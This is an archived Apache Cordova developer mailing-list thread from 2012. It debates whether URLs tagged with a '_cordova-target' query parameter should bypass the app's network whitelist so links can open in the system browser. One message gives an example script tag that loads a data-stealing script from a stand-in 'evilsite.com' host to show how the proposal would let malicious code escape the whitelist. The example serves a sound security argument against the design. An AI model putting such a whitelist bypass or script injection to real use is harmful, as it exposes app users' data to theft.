incubator-callback-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Shazron <shaz...@gmail.com>
Subject Re: API function: Open url in system web browser
Date Sun, 20 May 2012 17:16:34 GMT
Guys, forget about the "spawning a new browser" thing. ANY script
embed, any ajax call can blow a hole through our whitelist by adding a
query param that you suggested. Try to see the security hole. There's
one that you can drive an elephant through, focus on that and not the
feature you're trying to fix. We cannot do this. The whitelist goes at
the low level.

On Sun, May 20, 2012 at 10:13 AM, Shazron <shazron@gmail.com> wrote:
> No. It's a regular script embed. A regular script tag loaded into the
> dom. Focus on the security hole you're opening here.
>
> On Sun, May 20, 2012 at 3:20 AM, Brian LeRoux <b@brian.io> wrote:
>> but once that script is embedded would it not just spawn the normal
>> browser instance w/ that url?? we're talking about an explicit load
>> not an implicit request right?
>>
>> On Sun, May 20, 2012 at 11:41 AM, Shazron <shazron@gmail.com> wrote:
>>> e.g.
>>> <script src="http://evilsite.com/stealmydata.js?_cordova_target=foo"></script>
>>>
>>> this already escapes the whitelist in your proposal. And your
>>> proposal, for it to work, will need this whitelist exception.
>>>
>>> On Sun, May 20, 2012 at 2:38 AM, Shazron <shazron@gmail.com> wrote:
>>>> On Sun, May 20, 2012 at 12:43 AM, Brian LeRoux <b@brian.io> wrote:
>>>>> How is opening a URL in a web browser a security risk to the Cordova
code
>>>>> shaz?
>>>>
>>>> By opening up the whitelist to exclude urls that have the query param,
>>>> which your proposal requires, it allows malicious code to bypass the
>>>> whitelist by just including this query param. Not through an anchor
>>>> tag perhaps, but through ajax calls. The whitelist intercepts all
>>>> network connections.
>>>>
>>>>>
>>>>> Jesse: a declarative approach just means devs need to manually add the
URL
>>>>> param themselves (quirk). A fair trade while we wait for the beefier
>>>>> programmatic child browser API.
>>>>> On May 20, 2012 6:45 AM, "Shazron" <shazron@gmail.com> wrote:
>>>>>
>>>>>> Jesse, I understand the problem, I know what Brian is asking, I'm
>>>>>> afraid no one does understand with regards to the two request problem.
>>>>>> I was afraid someone would "go there" and suggest to compromise the
>>>>>> whitelist. This is a security problem if we allow any url with
>>>>>> _cordova-target= to circumvent the whitelist check, think about it
-
>>>>>> it's a big hole.
>>>>>>
>>>>>> On Sat, May 19, 2012 at 8:12 PM, Jesse <purplecabbage@gmail.com>
wrote:
>>>>>> > Shaz: I believe Brian is proposing you look for urls
>>>>>> > containing _cordova-target= before rejecting them via the whitelist.
>>>>>> >
>>>>>> > IMHO: The discussed solutions resolve to the same thing, it
is just a
>>>>>> > semantics discussion.
>>>>>> >
>>>>>> > Given the following html placed in the document by the developer:
>>>>>> > <a href="http://somwhere.com" target="_blank">asdf<a>
>>>>>> >
>>>>>> > Providing a new API means the link becomes (or something similar):
>>>>>> > gap://app/openExtUrl/http%3A%2F%2Fsomwhere.com
>>>>>> >
>>>>>> > Brian's proposal means the link becomes :
>>>>>> > http://somwhere.com&_cordova-target=blank
>>>>>> >
>>>>>> > So either native code has to watch for links with '_cordova-target='
or
>>>>>> > just handle another cordova command.
>>>>>> >
>>>>>> > Both solutions require re-writing urls on page load, or on dom
change.
>>>>>> >
>>>>>> > Andrew's earlier suggestion added a document level click handler
that
>>>>>> would
>>>>>> > determine if the clicked item was an <a> and do the right
thing based on
>>>>>> > it's attributes, which I think has some merit in that it handles
dynamic
>>>>>> > content, and it doesn't modify it, it just observes it.
>>>>>> >
>>>>>> > I will be thinking more on this and adding my recommendation
in a while
>>>>>> ...
>>>>>> >
>>>>>> >
>>>>>> >
>>>>>> > On Sat, May 19, 2012 at 7:43 PM, Shazron <shazron@gmail.com>
wrote:
>>>>>> >
>>>>>> >> No. Read it again, especially the two request part. For
urls NOT in
>>>>>> >> the whitelist, the first request will be rejected by the
whitelist. It
>>>>>> >> won't work.
>>>>>> >>
>>>>>> >> On Sat, May 19, 2012 at 7:34 PM, Brian LeRoux <b@brian.io>
wrote:
>>>>>> >> > Ok, so read that, its referring to the target attribute
but it looks
>>>>>> >> > like you can check stil check for a url parameter on
an NSURLRequest
>>>>>> >> > [1].
>>>>>> >> >
>>>>>> >> >
>>>>>> >>
>>>>>> https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/Foundation/Classes/NSURLProtocol_Class/Reference/Reference.html
>>>>>> >> >
>>>>>> >> > So what I'm proposing is this: cordovajs walks the
dom finding all
>>>>>> >> > anchors with a target attribute and adds something
like this to the
>>>>>> >> > href:
>>>>>> >> >
>>>>>> >> > <a href=http://somwhere.com&_cordova-target=blank
>>>>>> target=blank>asdf<.a>
>>>>>> >> >
>>>>>> >> > Then, when clicked, touched, whatever, you capture
if the URL
>>>>>> >> > parameter named _cordova-target exists. If it does,
spawn browser.
>>>>>> >> >
>>>>>> >> > Dynamic links would be missed. I think thats an ok/fair
quirk. If
>>>>>> >> > wanted to be aggressive we *could* watch for dom mutation
events and
>>>>>> >> > solve that too tho I suspect it would not help performance!
>>>>>> >> >
>>>>>> >> >
>>>>>> >> > On Sat, May 19, 2012 at 6:00 PM, Shazron <shazron@gmail.com>
wrote:
>>>>>> >> >> When JIRA is back up (it's under maintenance right
now), see my
>>>>>> >> >> first/second comment on this issue:
>>>>>> >> >> https://issues.apache.org/jira/browse/CB-362
>>>>>> >> >>
>>>>>> >> >> It's a bit too long to rehash :)
>>>>>> >> >>
>>>>>> >> >> On Sat, May 19, 2012 at 8:17 AM, Brian LeRoux <b@brian.io>
wrote:
>>>>>> >> >>> Sorry shaz, I must be dense but I missed the
technical reasons?
>>>>>> >> >>>  On May 19, 2012 11:48 AM, "Shazron" <shazron@gmail.com>
wrote:
>>>>>> >> >>>
>>>>>> >> >>>> > The method I'm proposing
>>>>>> >> >>>> > assumes all link events are trapped,
inspected for a url param,
>>>>>> and
>>>>>> >> in
>>>>>> >> >>>> > its absence, falls back to default
behavior. Maybe thats not
>>>>>> >> >>>> > realistic. Seems like both iOS and
Android do not trap the target
>>>>>> >> >>>> > attribute. Which means we'd need to
add a url param so that trap
>>>>>> is
>>>>>> >> >>>> > caught.
>>>>>> >> >>>> >
>>>>>> >> >>>>
>>>>>> >> >>>> It is not entirely a question of "nastiness"
in adding a url param
>>>>>> >> >>>> with regards to why it won't work in iOS
(although imo I don't like
>>>>>> >> >>>> it) - I have already presented valid technical
reasons.
>>>>>> >> >>>>
>>>>>> >> >>>> With respect to achieving all our goals
- not introducing a new
>>>>>> API,
>>>>>> >> >>>> and fixing this bug that sorely needs fixing
- ChildBrowser like
>>>>>> you
>>>>>> >> >>>> proposed is the better bet then. So what
should be the plan for
>>>>>> this?
>>>>>> >> >>>>
>>>>>> >>
>>>>>> >
>>>>>> >
>>>>>> >
>>>>>> > --
>>>>>> > @purplecabbage
>>>>>> > risingj.com
>>>>>>

Mime
View raw message